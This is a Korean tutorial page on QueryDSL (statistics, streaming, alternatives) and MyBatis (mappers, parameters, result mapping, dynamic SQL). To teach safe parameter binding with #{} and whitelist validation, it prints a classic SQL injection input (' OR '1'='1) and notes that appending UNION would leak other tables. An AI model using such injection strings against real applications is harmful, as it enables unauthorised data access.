이 코드에서 눈여겨볼 세 가지 — ① 항상 붙는 조건(deleted.isFalse())을 맨 앞에 고정, ② 정렬 화이트리스트로 임의 컬럼 정렬 차단, ③ id 타이브레이커로 페이지가 흔들리지 않게. 세 가지 모두 실무에서 사고가 났던 자리입니다.
QDSL 14

실전 ② — 통계 · 대량 처리

리포트 화면과 배치에서 쓰는 형태입니다. 집계 · 기간 그룹핑 · 대량 스트리밍을 QueryDSL 로 어떻게 쓰는지 봅니다.

일자별 매출 통계

public record DailySales(String day, long orderCount,
                         long totalAmount, long avgAmount, long maxAmount) {
    @QueryProjection public DailySales {}
}

public List<DailySales> dailySales(LocalDate from, LocalDate to) {
    StringTemplate day = Expressions.stringTemplate(      // 포맷은 템플릿에 직접 (q07 참고)
            "function('to_char', {0}, 'YYYY-MM-DD')", order.paidAt);

    return queryFactory
        .select(new QDailySales(
                day,
                order.count(),
                order.totalAmount.sum().coalesce(0L),
                order.totalAmount.avg().castToNum(Long.class).coalesce(0L),
                order.totalAmount.max().coalesce(0L)))
        .from(order)
        .where(order.status.eq(OrderStatus.PAID),
               order.paidAt.goe(from.atStartOfDay()),
               order.paidAt.lt(to.plusDays(1).atStartOfDay()))
        .groupBy(day)
        .orderBy(day.desc())
        .fetch();
}

// 상품별 판매 순위 + 비중
public List<ProductRank> topProducts(LocalDate from, int limit) {
    NumberExpression<Long> sales = orderItem.price.multiply(orderItem.quantity).sum();

    return queryFactory
        .select(new QProductRank(product.id, product.name, sales, orderItem.count()))
        .from(orderItem)
        .join(orderItem.product, product)
        .join(orderItem.order, order)
        .where(order.status.eq(PAID), order.paidAt.goe(from.atStartOfDay()))
        .groupBy(product.id, product.name)
        .orderBy(sales.desc())
        .limit(limit)
        .fetch();
}

대량 처리 — 스트리밍과 청크

// ① 스트림 — 메모리에 다 올리지 않는다
@Transactional(readOnly = true)
public void exportAll(Consumer<OrderSummary> sink) {
    try (Stream<OrderSummary> stream = queryFactory
            .select(new QOrderSummary(...))
            .from(order).join(order.member, member)
            .where(order.status.eq(PAID))
            .stream()) {                       // ★ fetch() 대신 stream()
        stream.forEach(sink);
    }
}

// ② 커서 청크 — 배치에서 가장 안전한 방식
public void processAll(Consumer<List<Order>> handler) {
    Long lastId = null;
    while (true) {
        List<Order> chunk = queryFactory
            .selectFrom(order)
            .where(order.status.eq(NEW),
                   lastId == null ? null : order.id.gt(lastId))
            .orderBy(order.id.asc())
            .limit(1000)
            .fetch();

        if (chunk.isEmpty()) break;
        handler.accept(chunk);
        lastId = chunk.get(chunk.size() - 1).getId();
        em.clear();                            // ★ 영속성 컨텍스트 비우기
    }
}
통계 쿼리는 운영 DB 를 오래 잡습니다. 조회 범위를 기간으로 강제하고, 무거운 리포트는 읽기 복제본이나 미리 계산한 집계 테이블로 옮기세요. 실시간이 아니어도 되는 지표를 실시간으로 만들다 DB 가 마비되는 일이 흔합니다.
QDSL 15

버전 상황과 대안

QueryDSL 은 원 저장소의 릴리스가 느려진 상태입니다. 그래서 포크·대안이 등장했습니다 — 새 프로젝트라면 알고 고르는 편이 좋습니다.

선택지상황과 특징
querydsl 5.1.x (원본)여전히 가장 널리 쓰인다. jakarta 분류자 제공. 릴리스 주기가 길다
OpenFeign 포크io.github.openfeign.querydsl — 최신 JDK·Hibernate 대응이 빠르다
Spring Data JPA + Specification추가 의존성 없음. 표현력이 떨어지고 코드가 장황하다
jOOQSQL 그 자체를 타입 안전하게. 통계·복잡 쿼리에 강하다. 상용 DB 는 유료
Kotlin JDSL코틀린 프로젝트라면 코드 생성 없이 동적 쿼리 (라인 오픈소스)
Blaze-PersistenceJPA 확장 — CTE·윈도 함수·엔티티 뷰까지. 학습 곡선이 있다

Specification 과 비교

// Spring Data 의 Specification — 추가 의존성 없이 동적 쿼리
public static Specification<Order> statusEq(OrderStatus status) {
    return (root, query, cb) ->
        status == null ? null : cb.equal(root.get("status"), status);
}

orderRepository.findAll(
    Specification.where(statusEq(status)).and(amountGoe(min)), pageable);

// 문제
// · root.get("status") — 문자열이라 오타를 못 잡는다 (메타모델을 쓰면 완화)
// · 조인·프로젝션이 장황하다
// · 가독성이 떨어진다
// → QueryDSL 을 쓸 수 있으면 QueryDSL 이 낫다

포크로 갈아타기

// OpenFeign 포크 — 패키지명은 그대로라 코드 수정이 거의 없다
dependencies {
    implementation("io.github.openfeign.querydsl:querydsl-jpa:6.11")
    annotationProcessor("io.github.openfeign.querydsl:querydsl-apt:6.11:jakarta")
}

// 확인할 것
// · Q타입 재생성 후 컴파일이 통과하는지
// · fetchResults()·fetchCount() 등 제거된 API 사용 여부
// · Hibernate 버전 호환

// 판단 기준
// · 지금 잘 돌고 있다 → 굳이 바꾸지 않는다
// · 최신 JDK·Hibernate 로 올리는데 막힌다 → 포크 검토
// · 새 프로젝트 · 코틀린 → Kotlin JDSL 도 함께 검토
현실적인 조언 — QueryDSL 은 이미 수많은 실무 프로젝트에서 검증됐고, 한국어 자료도 가장 풍부합니다. 릴리스 속도만 감수하면 여전히 좋은 선택입니다. 다만 새로 시작하는 코틀린 프로젝트라면 kapt 부담이 없는 Kotlin JDSL 을, 통계가 주 업무라면 jOOQ 를 함께 검토하세요.
QDSL 16

치트시트 · 트러블슈팅

자주 찾는 문법과, 막혔을 때 확인할 것을 한 장에 모았습니다.

자주 쓰는 문법 요약

// 조회
selectFrom(order)                    // 엔티티
select(order.id, order.orderNo)      // Tuple
select(new QDto(...))                // DTO

// 조건
.where(a, b)                         // AND (null 은 무시)
.where(a.and(b)) / a.or(b)
.where(a.not())

// 조인
.join(order.member, member)
.leftJoin(order.member, member).fetchJoin()
.leftJoin(coupon).on(coupon.orderId.eq(order.id))

// 결과
.fetch() / .fetchOne() / .fetchFirst()
.stream()                            // 대량

// 정렬·페이징
.orderBy(order.createdAt.desc(), order.id.desc())
.offset(0).limit(20)

// 집계
.groupBy(order.status).having(order.count().gt(10))
order.totalAmount.sum() / avg() / max() / min() / count()

// 서브쿼리
JPAExpressions.select(sub.id).from(sub).where(...)

// 수정·삭제
update(order).set(order.status, PAID).where(...).execute()
delete(order).where(...).execute()

// 표현식
new CaseBuilder().when(...).then(...).otherwise(...)
Expressions.stringTemplate("function('x', {0})", path)
order.memo.coalesce("없음")
order.totalAmount.add(10).multiply(2)

막혔을 때 확인 순서

증상확인
Q타입이 생성되지 않는다:jakarta 분류자 · annotationProcessor 설정 · clean 후 재빌드
IDE 가 Q타입을 못 찾는다generated 폴더를 소스셋에 추가 · IDE 캐시 무효화
NullPointerException (queryFactory)JPAQueryFactory 빈 등록 확인
fetchResults() 가 없다5.0 에서 deprecated → 카운트 쿼리를 따로 작성
결과가 중복된다컬렉션 조인 → distinct() 또는 조회 방식 변경
페이징이 이상하다컬렉션 fetchJoin + 페이징 조합인지 확인
DTO 로 못 받는다생성자 순서·타입 · @QueryProjection 후 재빌드
업데이트가 반영 안 된다벌크 연산 후 em.clear() 누락
느리다쿼리 로그 → 쿼리 수 → 실행 계획 순서로
다음으로 볼 것 — MyBatis 탭에서는 SQL 을 직접 쓰는 접근을 다룹니다. QueryDSL 과 MyBatis 는 경쟁 관계가 아니라 서로 다른 상황에 맞는 도구입니다 — 두 탭을 다 보고 나면 어떤 쿼리를 어디에 맡길지가 명확해집니다.
SQL 매퍼 · 동적 SQL · resultMap · 인터셉터

SQL을
내가 쓰겠다는
선택

JPA 가 “객체로 생각하고 SQL 은 맡긴다”면, MyBatis 는 “SQL 을 내가 쓰고 매핑만 맡긴다”입니다. 복잡한 조회·통계·레거시 DB에서는 이쪽이 훨씬 정직하고 빠릅니다. 이 탭은 설정부터 동적 SQL · 배치 · 인터셉터 · 성능까지 실무 전 범위를 다룹니다.

16SECTIONS
100%내가 쓴 SQL 그대로
2정의 방식 (XML · 애너테이션)
3.xMyBatis 기준
MYB 01

언제 MyBatis인가 · 설정

JPA 와 우열을 가리는 문제가 아닙니다. “이 시스템에서 SQL 을 누가 통제해야 하는가”에 대한 답이 다를 뿐입니다.

누가 SQL 을 만드는가 — 그것만 다르다 JPA (Hibernate) 개발자: 엔티티·JPQL 프레임워크가 SQL 생성 MyBatis 개발자가 SQL 을 직접 작성 프레임워크는 결과 매핑만 둘 다 결국 JDBC 위에서 돈다 — 트랜잭션·커넥션 풀은 같은 것을 쓴다 그래서 한 프로젝트에서 함께 쓸 수 있다 (섞어 쓰기는 14 참고)
SQL 을 보고 튜닝해야 하는 시스템에서는 MyBatis 가 훨씬 직관적입니다.

MyBatis 가 유리한 경우

  • 통계·리포트가 주 업무 — 윈도 함수·CTE·힌트를 자유롭게
  • 레거시 DB 스키마 — 정규화가 안 됐거나 복합키·트리거가 많다
  • DBA 가 SQL 을 검토하는 조직 — SQL 이 파일로 남는다
  • 튜닝이 잦다 — 실행 계획을 보고 SQL 을 바로 고칠 수 있다
  • 대량 배치 — 벌크·머지·프로시저 호출이 자연스럽다

JPA 가 유리한 경우

  • 도메인 규칙이 복잡 — 객체로 상태를 관리해야 한다
  • CRUD 가 대부분 — 반복 SQL 을 쓰지 않아도 된다
  • DB 를 바꿀 가능성 — 방언 차이를 프레임워크가 흡수
  • 변경 감지·낙관적 락 같은 기능이 필요
  • 스키마를 우리가 설계한다
실무에서 흔한 답 — 쓰기는 JPA, 복잡한 조회는 MyBatis. 둘 다 같은 트랜잭션 안에서 동작하므로 함께 쓰는 데 기술적 문제가 없습니다.

설정 — Spring Boot

의존성과 프로퍼티

Gradle — implementation("org.mybatis.spring.boot:mybatis-spring-boot-starter:3.0.4")
mybatis:
  mapper-locations: classpath:mapper/**/*.xml    # XML 위치
  type-aliases-package: com.example.domain       # DTO 짧은 이름 사용
  configuration:
    map-underscore-to-camel-case: true           # ★ order_no → orderNo 자동
    default-fetch-size: 1000
    default-statement-timeout: 30                # 초
    jdbc-type-for-null: NULL                     # 오라클에서 필요할 때
    call-setters-on-nulls: true                  # null 컬럼도 세터 호출
    cache-enabled: false                         # 2차 캐시 (기본 true — 11 참고)

logging:
  level:
    com.example.mapper: debug                    # 매퍼 패키지 쿼리 로그

매퍼 스캔

@SpringBootApplication
@MapperScan("com.example.mapper")     // 매퍼 인터페이스 위치
public class Application { }

// 또는 인터페이스마다
@Mapper
public interface OrderMapper { ... }

// 여러 데이터소스를 쓸 때는 스캔 범위를 나눈다
@MapperScan(basePackages = "com.example.order.mapper",
            sqlSessionFactoryRef = "orderSqlSessionFactory")

// 프로젝트 구조 예시
// src/main/java/com/example/mapper/OrderMapper.java
// src/main/resources/mapper/OrderMapper.xml
//   → 패키지 구조를 맞춰 두면 찾기 쉽다
MYB 02

매퍼 — 인터페이스와 XML

MyBatis 의 기본 단위는 인터페이스 + SQL 한 쌍입니다. SQL 은 XML 또는 애너테이션에 쓸 수 있고, 실무에서는 대부분 XML 을 씁니다.

인터페이스

@Mapper
public interface OrderMapper {

    // 단건
    OrderDto findById(Long id);

    // 목록
    List<OrderDto> findByStatus(String status);

    // 파라미터가 여럿이면 @Param 으로 이름을 준다
    List<OrderDto> search(@Param("cond") OrderCondition cond,
                          @Param("offset") int offset,
                          @Param("limit") int limit);

    // 저장 — 생성된 키를 객체에 다시 넣는다
    void insert(OrderDto order);

    int update(OrderDto order);

    int deleteById(Long id);

    // 대량 조회 — 커서 방식
    void streamAll(ResultHandler<OrderDto> handler);
}

XML 매퍼

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
  "https://mybatis.org/dtd/mybatis-3-mapper.dtd">

<mapper namespace="com.example.mapper.OrderMapper">   <!-- ★ 인터페이스 전체 경로 -->

  <select id="findById" parameterType="long" resultType="OrderDto">
    SELECT id, order_no, member_id, total_amount, status, created_at
      FROM orders
     WHERE id = #{id}
  </select>

  <select id="findByStatus" resultType="OrderDto">
    SELECT id, order_no, total_amount, status
      FROM orders
     WHERE status = #{status}
     ORDER BY created_at DESC
  </select>

  <insert id="insert" useGeneratedKeys="true" keyProperty="id">
    INSERT INTO orders (order_no, member_id, total_amount, status, created_at)
    VALUES (#{orderNo}, #{memberId}, #{totalAmount}, #{status}, NOW())
  </insert>

  <update id="update">
    UPDATE orders
       SET status = #{status}, updated_at = NOW()
     WHERE id = #{id}
  </update>

  <delete id="deleteById">
    DELETE FROM orders WHERE id = #{id}
  </delete>
</mapper>

애너테이션 방식

@Mapper
public interface CodeMapper {

    @Select("SELECT code, name FROM code_group WHERE type = #{type}")
    List<CodeDto> findByType(String type);

    @Insert("INSERT INTO code_group(code, name, type) VALUES(#{code}, #{name}, #{type})")
    @Options(useGeneratedKeys = true, keyProperty = "id")
    void insert(CodeDto dto);

    @Update("UPDATE code_group SET name = #{name} WHERE code = #{code}")
    int updateName(@Param("code") String code, @Param("name") String name);
}

// 언제 애너테이션을 쓰나
// · SQL 이 짧고 동적 조건이 없을 때 (코드 테이블·단순 조회)
// · 동적 SQL 이 들어가면 <script> 로 감싸야 해서 오히려 지저분해진다
// → 실무 대부분은 XML 이 낫다

기본 규칙

  • namespace = 인터페이스 전체 경로 — 틀리면 BindingException
  • id = 메서드명 — 오버로딩은 불가(같은 id 두 개 금지)
  • resultType 은 반환 원소 타입 — List<OrderDto>여도 OrderDto
  • map-underscore-to-camel-case를 켜면 별칭을 대부분 생략할 수 있다
  • XML 은 src/main/resources 아래에 — 자바 폴더에 두면 빌드에서 빠진다
XML 에서 < 를 쓸 수 없습니다. &lt; 로 이스케이프하거나 <![CDATA[ ... ]]> 로 감싸세요 — WHERE created_at < #{to} 에서 자주 겪는 문제입니다.
MYB 03

파라미터 — #{} 와 ${}

MyBatis 에서 가장 중요한 한 가지입니다. #{}는 바인딩, ${}는 문자열 치환이고, ${}는 SQL 인젝션의 통로입니다.

같은 입력값이 두 갈래로 — #{} 는 자리(?)만 만들고, ${} 는 글자를 그대로 붙인다 사용자가 보낸 orderNo ' OR '1'='1 #{orderNo} — JDBC 바인딩 … WHERE order_no = ? ? 자리에 값을 따로 전달한다 — 값은 절대 SQL 문법이 되지 않는다 → 조회 결과 0건. 실행 계획도 재사용된다 ${orderNo} — 문자열 치환 … WHERE order_no = '' OR '1'='1' 입력값이 그대로 SQL 이 된다 — 따옴표가 문법으로 해석된다 → 전체 행 유출. UNION 을 붙이면 다른 테이블까지 ${} 가 꼭 필요한 자리는 컬럼명 · 테이블명 · 정렬 방향뿐 — 그때도 반드시 화이트리스트로 거른다
외울 것은 한 문장 — 값은 #{}, 그 밖에는 쓰지 않는다.
${} — 문자열이 그대로 박힌다
<select id="search" resultType="OrderDto">
  SELECT * FROM orders
   WHERE order_no = '${orderNo}'
</select>

<!-- 실제로 만들어지는 SQL -->
SELECT * FROM orders WHERE order_no = 'ORD-1'

<!-- 사용자가 이렇게 보내면? -->
orderNo = "' OR '1'='1"
SELECT * FROM orders WHERE order_no = '' OR '1'='1'
<!-- 💥 전체 조회. 여기에 UNION 을 붙이면 다른 테이블도 털린다 -->
#{} — 바인딩 파라미터
<select id="search" resultType="OrderDto">
  SELECT * FROM orders
   WHERE order_no = #{orderNo}
</select>

<!-- 실제 SQL -->
SELECT * FROM orders WHERE order_no = ?
<!-- 값은 JDBC 가 바인딩 → 인젝션 불가능 -->
<!-- 실행 계획도 재사용된다 (성능 이점) -->
기본은 언제나 #{}입니다. ${}는 컬럼명·테이블명·정렬 방향처럼 바인딩이 불가능한 자리에서만 쓰고, 반드시 화이트리스트 검증을 거치세요.
<!-- ${} 를 안전하게 쓰는 유일한 방법 — 화이트리스트 -->
<select id="searchSorted" resultType="OrderDto">
  SELECT * FROM orders
   WHERE status = #{status}
   ORDER BY ${sortColumn} ${sortDirection}
</select>
// 자바 쪽에서 반드시 검증한다
private static final Set<String> SORTABLE =
        Set.of("created_at", "total_amount", "order_no");

public List<OrderDto> searchSorted(String status, String sortColumn, boolean asc) {
    String column = SORTABLE.contains(sortColumn) ? sortColumn : "created_at";
    String direction = asc ? "ASC" : "DESC";        // 문자열을 직접 만들지 않는다
    return orderMapper.searchSorted(status, column, direction);
}

파라미터 여러 개 넘기기

// ① @Param — 가장 명확 (권장)
List<OrderDto> find(@Param("status") String status,
                    @Param("from") LocalDateTime from);
// XML: #{status}, #{from}

// ② DTO 하나로 묶기
List<OrderDto> search(OrderCondition cond);
// XML: #{status}, #{minAmount}  (DTO 필드명)

// ③ Map (권장하지 않음 — 키 오타를 못 잡는다)
List<OrderDto> search(Map<String, Object> params);

// ④ 섞어 쓰기
List<OrderDto> search(@Param("cond") OrderCondition cond,
                      @Param("pageable") PageRequest pageable);
// XML: #{cond.status}, #{pageable.offset}

타입 지정이 필요할 때

<!-- null 을 넘길 때 JDBC 타입을 몰라 에러가 나는 경우 (특히 오라클) -->
WHERE memo = #{memo, jdbcType=VARCHAR}

<!-- 타입 핸들러 지정 -->
WHERE status = #{status, typeHandler=com.example.StatusTypeHandler}

<!-- 숫자 정밀도 -->
#{amount, javaType=java.math.BigDecimal, jdbcType=DECIMAL}

<!-- LIKE 는 바인딩과 함께 쓴다 (문자열 결합 금지) -->
WHERE name LIKE CONCAT('%', #{keyword}, '%')     <!-- MySQL -->
WHERE name LIKE '%' || #{keyword} || '%'          <!-- PostgreSQL·Oracle -->
<!-- 또는 자바에서 "%" + keyword + "%" 를 만들어 #{keyword} 로 -->
MYB 04

resultMap — 결과 매핑

컬럼과 필드 이름이 다르거나, 한 쿼리 결과를 객체 그래프로 만들어야 할 때 씁니다. MyBatis 의 매핑 능력이 드러나는 지점입니다.

<!-- 기본 resultMap -->
<resultMap id="orderMap" type="OrderDto">
  <id     property="id"          column="order_id"/>      <!-- 식별자 (중요) -->
  <result property="orderNo"     column="order_no"/>
  <result property="totalAmount" column="total_amount"/>
  <result property="status"      column="status"
          typeHandler="org.apache.ibatis.type.EnumTypeHandler"/>
  <result property="createdAt"   column="created_at"/>
</resultMap>

<select id="findById" resultMap="orderMap">
  SELECT id AS order_id, order_no, total_amount, status, created_at
    FROM orders WHERE id = #{id}
</select>

<!-- 상속으로 재사용 -->
<resultMap id="orderDetailMap" type="OrderDetailDto" extends="orderMap">
  <result property="memberName" column="member_name"/>
  <result property="memo"       column="memo"/>
</resultMap>

<!-- 생성자 매핑 (불변 DTO·record) -->
<resultMap id="summaryMap" type="OrderSummary">
  <constructor>
    <idArg column="id"           javaType="java.lang.Long"/>
    <arg   column="order_no"     javaType="java.lang.String"/>
    <arg   column="total_amount" javaType="java.lang.Long"/>
  </constructor>
</resultMap>

언제 resultMap 이 필요한가

  • 컬럼명과 필드명이 다르다 — map-underscore-to-camel-case로 안 되는 경우
  • 연관 객체를 채워야 한다 (association·collection — 다음 섹션)
  • 생성자로만 만들 수 있는 DTO (record·불변 객체)
  • 타입 핸들러를 지정해야 한다
  • 같은 매핑을 여러 쿼리에서 재사용한다
단순 조회는 resultType으로 충분합니다. 카멜 케이스 자동 변환만 켜 두면 대부분의 CRUD 는 resultMap 없이 됩니다 — 필요할 때만 쓰세요.

자주 만나는 매핑 문제

증상원인
필드가 전부 null컬럼명 불일치 → 별칭 또는 resultMap
enum 매핑 실패DB 값과 enum 이름 불일치 → 타입 핸들러 (10 참고)
날짜가 안 들어온다LocalDateTime 지원 확인 · 드라이버 버전
중복 행이 하나로 합쳐짐<id> 태그로 식별자를 지정했는지
0/false 가 null 로call-setters-on-nulls 설정 확인
record 매핑 실패생성자 매핑(<constructor>) 사용
컬럼 이름과 필드 이름을 어떻게 잇는가 조회 결과 (컬럼) order_id user_name total_price 자동 매핑 (설정 한 줄) map-underscore-to-camel-case orderId · userName · totalPrice resultMap 이 필요할 때 이름 규칙이 다를 때 중첩 객체로 담을 때 타입 핸들러가 필요할 때 중첩 — association · collection <association property="user" …> 한 건짜리 연관 <collection property="items" …> 여러 건 조인 한 번으로 주문 + 상세를 한 객체 트리로 만듭니다 주의할 점 collection 을 쓰면 행이 늘어난 만큼 중복이 옵니다 id 를 정확히 지정해야 올바르게 묶입니다 DTO 가 단순하면 resultType 만으로 충분합니다
설정 한 줄로 대부분의 매핑이 사라집니다 — resultMap 은 예외 상황에만.
컬럼에서 필드로 — 선 색이 곧 필요한 설정입니다 SELECT 결과 컬럼 order_id user_name total_price amt item_id item_name OrderDto 필드 orderId userName totalPrice amount items : List<Item> 초록 — map-underscore-to-camel-case=true 한 줄로 자동 호박 — 이름 규칙이 다름: SQL 별칭(AS amount) 또는 resultMap 보라 — 여러 행을 한 목록으로: resultMap 의 collection, <id> 지정 필수 collection 은 행이 늘어난 만큼 중복이 옵니다 — id 가 틀리면 잘못 묶입니다
초록 선이 대부분입니다 — 설정 한 줄이 매핑 대부분을 대신하고, resultMap 은 나머지 갈래에만 씁니다.
MYB 05

연관 매핑 — association · collection

한 번의 조인 결과를 객체 그래프로 만듭니다. JPA 의 연관관계와 비슷해 보이지만, MyBatis 는 매핑만 할 뿐 지연 로딩·변경 감지 같은 것은 없습니다.

1:1 · N:1 — association

<resultMap id="orderWithMember" type="OrderDto">
  <id     property="id"      column="o_id"/>
  <result property="orderNo" column="o_order_no"/>

  <association property="member" javaType="MemberDto">
    <id     property="id"    column="m_id"/>
    <result property="name"  column="m_name"/>
    <result property="grade" column="m_grade"/>
  </association>
</resultMap>

<select id="findWithMember" resultMap="orderWithMember">
  SELECT o.id        AS o_id,
         o.order_no  AS o_order_no,
         m.id        AS m_id,
         m.name      AS m_name,
         m.grade     AS m_grade
    FROM orders o
    JOIN members m ON m.id = o.member_id
   WHERE o.id = #{id}
</select>

<!-- ★ 별칭 접두사를 쓰면 컬럼 충돌을 피할 수 있다 (o_ / m_) -->

1:N — collection

<resultMap id="orderDetail" type="OrderDetailDto">
  <id     property="id"          column="o_id"/>
  <result property="orderNo"     column="o_order_no"/>
  <result property="totalAmount" column="o_total"/>

  <collection property="items" ofType="OrderItemDto">
    <id     property="id"          column="i_id"/>
    <result property="productName" column="i_product_name"/>
    <result property="quantity"    column="i_quantity"/>
    <result property="price"       column="i_price"/>
  </collection>
</resultMap>

<select id="findDetail" resultMap="orderDetail">
  SELECT o.id AS o_id, o.order_no AS o_order_no, o.total_amount AS o_total,
         i.id AS i_id, i.product_name AS i_product_name,
         i.quantity AS i_quantity, i.price AS i_price
    FROM orders o
    LEFT JOIN order_items i ON i.order_id = o.id
   WHERE o.id = #{id}
</select>

<!-- 조인 결과가 여러 행이어도 MyBatis 가 <id> 기준으로 하나의 객체로 합친다 -->

별도 쿼리로 채우기 (select 속성)

<resultMap id="orderLazy" type="OrderDto">
  <id property="id" column="id"/>
  <!-- column: 이 값을 인자로 넘긴다 · select: 별도 쿼리 실행 · fetchType: 지연 로딩 -->
  <!-- (주석은 태그 밖에 — 속성 사이에 넣으면 XML 파싱 오류) -->
  <collection property="items"
              column="id"
              select="findItemsByOrderId"
              fetchType="lazy"/>
</resultMap>

<select id="findItemsByOrderId" resultType="OrderItemDto">
  SELECT * FROM order_items WHERE order_id = #{id}
</select>
이 방식은 N+1 을 만듭니다. 주문 100건을 조회하면 항목 쿼리가 100번 나갑니다. 목록에서는 조인 매핑을, 상세 화면처럼 단건일 때만 이 방식을 고려하세요. 지연 로딩을 쓰려면 lazy-loading-enabled: true 설정도 필요합니다.

JPA 연관관계와의 차이

항목MyBatis
매핑 시점쿼리 결과를 읽을 때만 — 연결이 유지되지 않는다
지연 로딩select 속성으로 가능하지만 N+1 주의
변경 감지없다 — 바꾸면 update 를 직접 호출
영속성 컨텍스트없다 — 같은 행을 두 번 조회하면 다른 객체
cascade없다 — 자식 저장·삭제를 직접
이 “없음”이 단점만은 아닙니다. 예측 가능성이 높아 어떤 SQL 이 언제 나가는지가 코드에 그대로 보입니다.
MYB 06

동적 SQL

MyBatis 를 쓰는 가장 큰 이유입니다. 조건에 따라 SQL 을 조립하면서도 SQL 의 모양이 그대로 보입니다.

<select id="search" resultType="OrderDto">
  SELECT o.id, o.order_no, o.total_amount, o.status, m.name AS member_name
    FROM orders o
    JOIN members m ON m.id = o.member_id

  <where>                                    <!-- ★ 앞의 AND/OR 를 자동 제거 -->
    o.deleted = false
    <if test="status != null">
      AND o.status = #{status}
    </if>
    <if test="minAmount != null">
      AND o.total_amount >= #{minAmount}
    </if>
    <if test="keyword != null and keyword != ''">
      AND (o.order_no LIKE CONCAT('%', #{keyword}, '%')
           OR m.name LIKE CONCAT('%', #{keyword}, '%'))
    </if>
    <if test="from != null and to != null">
      AND o.created_at >= #{from}
      AND o.created_at &lt; #{to}           <!-- XML 안에서 < 는 &lt; 로 -->
    </if>
    <if test="statuses != null and !statuses.isEmpty()">
      AND o.status IN
      <foreach collection="statuses" item="s" open="(" separator="," close=")">
        #{s}
      </foreach>
    </if>
  </where>

  <choose>                                   <!-- if/else if/else -->
    <when test="sort == 'amount'">ORDER BY o.total_amount DESC, o.id DESC</when>
    <when test="sort == 'oldest'">ORDER BY o.created_at ASC, o.id ASC</when>
    <otherwise>ORDER BY o.created_at DESC, o.id DESC</otherwise>
  </choose>

  LIMIT #{limit} OFFSET #{offset}
</select>

<!-- UPDATE 는 <set> 이 쉼표를 정리해 준다 -->
<update id="updateSelective">
  UPDATE orders
  <set>
    <if test="status != null">status = #{status},</if>
    <if test="memo != null">memo = #{memo},</if>
    updated_at = NOW()
  </set>
  WHERE id = #{id}
</update>

<!-- trim 으로 직접 제어 -->
<trim prefix="WHERE" prefixOverrides="AND |OR ">
  ...
</trim>

foreach 활용

<!-- IN 절 -->
WHERE id IN
<foreach collection="ids" item="id" open="(" separator="," close=")">
  #{id}
</foreach>

<!-- 대량 INSERT (한 문장으로) -->
<insert id="insertAll">
  INSERT INTO order_items (order_id, product_id, quantity, price)
  VALUES
  <foreach collection="items" item="i" separator=",">
    (#{i.orderId}, #{i.productId}, #{i.quantity}, #{i.price})
  </foreach>
</insert>

<!-- Map 순회 — ⚠️ ${key} 는 문자열 치환이므로 키는 코드에서 정한 값만 (03 참고) -->
<foreach collection="params" index="key" item="value" separator=" AND ">
  ${key} = #{value}
</foreach>
IN 절에 값이 1,000개를 넘으면 오라클은 에러가 나고, 다른 DB 도 실행 계획이 나빠집니다. 청크로 나누거나 임시 테이블·조인으로 바꾸세요. 빈 리스트를 넘기면 IN () 이 되어 문법 오류가 나므로 빈 검사도 필수입니다.

bind · OGNL 표현식

<!-- bind 로 변수를 만든다 (LIKE 패턴 조립에 유용) -->
<select id="searchByName" resultType="MemberDto">
  <bind name="pattern" value="'%' + keyword + '%'"/>
  SELECT * FROM members WHERE name LIKE #{pattern}
</select>

<!-- test 에 쓰는 OGNL 표현식 -->
<if test="status != null">
<if test="keyword != null and keyword != ''">
<if test="list != null and list.size() > 0">
<if test="type == 'AB'">                  <!-- 문자열 비교는 홑따옴표 (한 글자는 아래 함정) -->
<if test="flag">                          <!-- Boolean -->
<if test="cond.status != null">           <!-- @Param 객체 접근 -->

<!-- ⚠️ 함정: 문자 하나를 비교할 때 -->
<if test="type == 'A'">    <!-- ❌ OGNL 은 'A' 를 char 로 읽어 String 과 비교가 안 맞습니다 -->
<if test='type == "A"'>    <!-- ✅ 바깥을 홑따옴표, 안을 쌍따옴표로 -->
<if test="type == 'A'.toString()">   <!-- ✅ 또는 이렇게 -->
동적 SQL — 조건이 있을 때만 그 부분을 넣습니다 SELECT * FROM orders <where> <if test="status != null">AND status = #{status}</if> <if test="ids != null">AND id IN ( <foreach collection="ids" separator=","> #{id}</foreach>)</if> </where> 맨 앞 AND 를 지움 조건 0개면 WHERE 생략 참일 때만 그 줄이 붙음 IN (?, ?, ?) 수천 개면 나눠서 값은 #{} 만 ${} 는 인젝션 status 만 있을 때 → SELECT * FROM orders WHERE status = ? 둘 다 없을 때 → SELECT * FROM orders — 손으로 이으면 "WHERE AND" 가 남는 자리 조건이 아주 많아지면 XML 이 읽기 어려워집니다 — 그때는 QueryDSL 쪽이 낫습니다
동적 SQL 의 가치는 편의가 아니라 손으로 이어 붙이지 않게 하는 것입니다.
MYB 07

SQL 재사용

같은 컬럼 목록과 조건을 여러 쿼리에 복사하다 보면 한 곳만 고치고 다른 곳을 놓치는 사고가 납니다. <sql> 조각으로 묶습니다.

<!-- 컬럼 목록을 한 곳에서 관리 -->
<sql id="orderColumns">
  o.id, o.order_no, o.member_id, o.total_amount, o.status, o.created_at
</sql>

<!-- 공통 검색 조건 -->
<sql id="searchConditions">
  <where>
    o.deleted = false
    <!-- 매퍼가 @Param("cond") 로 받으므로 cond. 을 붙인다 (08 의 인터페이스) -->
    <if test="cond.status != null">AND o.status = #{cond.status}</if>
    <if test="cond.from != null">AND o.created_at >= #{cond.from}</if>
    <if test="cond.to != null">AND o.created_at &lt; #{cond.to}</if>
  </where>
</sql>

<select id="search" resultType="OrderDto">
  SELECT <include refid="orderColumns"/>
    FROM orders o
  <include refid="searchConditions"/>
   ORDER BY o.created_at DESC
   LIMIT #{limit} OFFSET #{offset}
</select>

<select id="countSearch" resultType="long">
  SELECT COUNT(*)
    FROM orders o
  <include refid="searchConditions"/>      <!-- 조건을 그대로 재사용 -->
</select>

<!-- 다른 매퍼의 조각도 가져올 수 있다 (namespace 로) -->
<include refid="com.example.mapper.CommonMapper.paging"/>

<!-- 파라미터를 받는 조각 -->
<sql id="tableName">
  orders_${yearMonth}                       <!-- 파티션 테이블 -->
</sql>
<select id="findPartitioned" resultType="OrderDto">
  SELECT * FROM <include refid="tableName">
    <property name="yearMonth" value="${ym}"/>   <!-- 테이블명은 ? 바인딩 불가 → ${} 치환. ym 은 yyyyMM 형식 검증 필수 -->
  </include>
</select>
목록 쿼리와 카운트 쿼리의 조건을 <sql> 로 공유하는 것이 가장 실용적인 활용입니다. 조건이 어긋나 총 건수와 실제 목록이 안 맞는 버그를 막습니다.
MYB 08

페이징

